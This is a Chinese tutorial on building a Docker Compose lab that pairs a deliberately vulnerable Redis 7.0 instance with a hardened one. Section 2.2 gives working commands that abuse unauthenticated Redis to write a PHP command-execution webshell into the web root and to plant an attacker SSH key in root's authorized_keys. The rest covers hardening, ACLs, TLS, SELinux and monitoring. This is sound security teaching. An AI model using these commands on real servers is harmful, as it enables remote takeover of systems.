从攻击到防御:手把手教你用Docker Compose搭建一个安全的Redis 7.0靶场环境

Redis作为现代应用架构中的核心组件,其安全性往往被开发者低估。去年某电商平台因Redis未授权访问导致千万用户数据泄露的事件,再次敲响了数据安全的警钟。本文将带你从零构建一个既能模拟攻击场景又能验证防御措施的Redis实验环境,这种"攻防一体"的设计思路,正是当前企业安全团队内部红蓝对抗演练的标准做法。

1. 实验环境设计与准备

1.1 为什么选择Docker Compose

传统虚拟机搭建的靶场存在资源占用高、配置复杂等问题。我们使用Docker Compose方案具有三大优势:

  • 环境隔离性 :每个Redis实例运行在独立网络命名空间
  • 快速重置 docker-compose down && docker-compose up 即可恢复初始状态
  • 配置即代码 :所有安全参数通过YAML文件版本化管理

1.2 基础环境配置

首先创建项目目录结构:

mkdir redis-range && cd redis-range
touch docker-compose.yml
mkdir {vulnerable,secured}/data

安装必备工具(以Ubuntu为例):

sudo apt update && sudo apt install -y \
    docker.io \
    docker-compose-plugin \
    redis-tools

提示:生产环境应使用官方Docker仓库而非系统自带版本

2. 漏洞场景构建

2.1 典型危险配置复现

docker-compose.yml 中配置漏洞版本服务:

version: '3.8'
services:
  redis-vul:
    image: redis:7.0
    ports:
      - "6379:6379"
    volumes:
      - ./vulnerable/redis.conf:/usr/local/etc/redis/redis.conf
    command: redis-server /usr/local/etc/redis/redis.conf

对应的危险配置 vulnerable/redis.conf

protected-mode no
bind 0.0.0.0
save 900 1
dir /data
dbfilename dump.rdb

关键风险点说明:

配置项 危险值 安全值 风险说明
protected-mode no yes 允许未认证访问
bind 0.0.0.0 127.0.0.1 暴露到公网
dir /data 受限目录 任意文件写入

2.2 攻击手法实战演示

启动环境后,我们模拟三种典型攻击:

Webshell写入攻击流程:

  1. 连接未授权Redis: redis-cli -h 127.0.0.1
  2. 设置Web目录: CONFIG SET dir /var/www/html
  3. 写入恶意代码:
    SET payload "<?php system($_GET['cmd']);?>"
    CONFIG SET dbfilename shell.php
    SAVE
    

SSH公钥注入对比测试:

# 生成密钥对
ssh-keygen -t rsa -f attacker_key
(echo -e "\n\n"; cat attacker_key.pub; echo -e "\n\n") > key.txt

# 注入公钥
cat key.txt | redis-cli -x SET crackit
redis-cli CONFIG SET dir /root/.ssh/
redis-cli CONFIG SET dbfilename "authorized_keys"
redis-cli SAVE

3. 防御体系构建

3.1 基础安全加固

创建安全版本配置 secured/redis.conf

protected-mode yes
bind 127.0.0.1
requirepass Str0ngP@ssw0rd
rename-command CONFIG ""
aclfile /usr/local/etc/redis/users.acl

对应的Docker服务配置:

  redis-sec:
    image: redis:7.0
    ports:
      - "6380:6379"
    volumes:
      - ./secured/redis.conf:/usr/local/etc/redis/redis.conf
      - ./secured/users.acl:/usr/local/etc/redis/users.acl

3.2 ACL精细化控制

Redis 6.0+的ACL系统支持用户粒度的权限控制。创建 users.acl 文件:

user default off
user admin on >AdminP@ss123 ~* &* +@all
user appuser on >UserP@ss456 ~cache:* &pubsub +get +set

权限说明表格:

用户类型 密码强度 键空间 通道权限 命令权限
admin 高强度 全部 全部 全部命令
appuser 中强度 cache:* pubsub 仅GET/SET

3.3 网络层防护

在Compose文件中添加网络隔离:

networks:
  redis-net:
    driver: bridge
    internal: true

然后修改服务配置:

services:
  redis-sec:
    networks:
      - redis-net
    ports:
      - "127.0.0.1:6380:6379"

4. 攻防对比验证

4.1 未授权访问测试

对两个实例分别执行:

redis-cli -h 127.0.0.1 INFO SERVER  # 漏洞版本成功
redis-cli -h 127.0.0.1 -p 6380 INFO SERVER  # 返回认证错误

4.2 文件写入防御验证

尝试在安全实例上重复Webshell攻击:

AUTH wrongpassword  # 认证失败
AUTH AdminP@ss123
CONFIG SET dir /var/www/html  # 返回命令不存在错误

4.3 主从复制攻击防护

安全配置下主从复制需要认证:

SLAVEOF 192.168.1.100 6379
(error) NOAUTH Authentication required.

5. 监控与日志分析

5.1 审计日志配置

在安全配置中添加:

acllog-max-len 1024
slowlog-log-slower-than 10000

监控关键指标:

# 实时监控异常登录
docker logs -f redis-sec | grep 'Auth failed'

# 分析慢查询
redis-cli -p 6380 -a AdminP@ss123 SLOWLOG GET 10

5.2 安全事件告警

使用Prometheus监控Redis指标:

# prometheus.yml 配置示例
scrape_configs:
  - job_name: 'redis'
    static_configs:
      - targets: ['redis-sec:9121']

关键告警规则:

groups:
- name: redis-alerts
  rules:
  - alert: RedisAuthFailures
    expr: rate(redis_auth_errors_total[1m]) > 5
    for: 2m

6. 进阶安全实践

6.1 客户端证书认证

配置TLS双向认证:

tls-port 6379
tls-cert-file /etc/redis/redis.crt
tls-key-file /etc/redis/redis.key
tls-ca-cert-file /etc/redis/ca.crt
tls-auth-clients yes

生成证书的OpenSSL命令:

openssl genrsa -out ca.key 4096
openssl req -x509 -new -key ca.key -days 3650 -out ca.crt

6.2 内核级防护

使用SELinux限制容器:

semanage port -a -t redis_port_t -p tcp 6380
setsebool -P container_manage_cgroup 1

关键SELinux策略:

策略 作用
redis_port_t 6380 仅允许指定端口
container_manage_cgroup on 允许容器资源限制

7. 自动化安全测试

7.1 使用redis-security-checker

docker run --network host --rm \
    redis-security-checker \
    -h 127.0.0.1 -p 6380 \
    -a AdminP@ss123 \
    --level paranoid

测试报告示例:

- [PASS] 密码复杂度检查
- [WARN] 未启用内存碎片整理
- [FAIL] 未配置RDB加密

7.2 CI/CD集成示例

GitLab CI配置片段:

security_test:
  image: docker:latest
  services:
    - docker:dind
  script:
    - docker-compose up -d
    - docker run --network host --rm redis-security-checker ...
    - docker-compose down

在项目实践中,我们发现最容易被忽视的是ACL的定期审计。曾经有个案例,开发人员离职后其账户仍具有写权限,导致数据被恶意篡改。建议结合Vault等工具实现动态凭证管理,将密码生命周期控制在24小时内。

更多推荐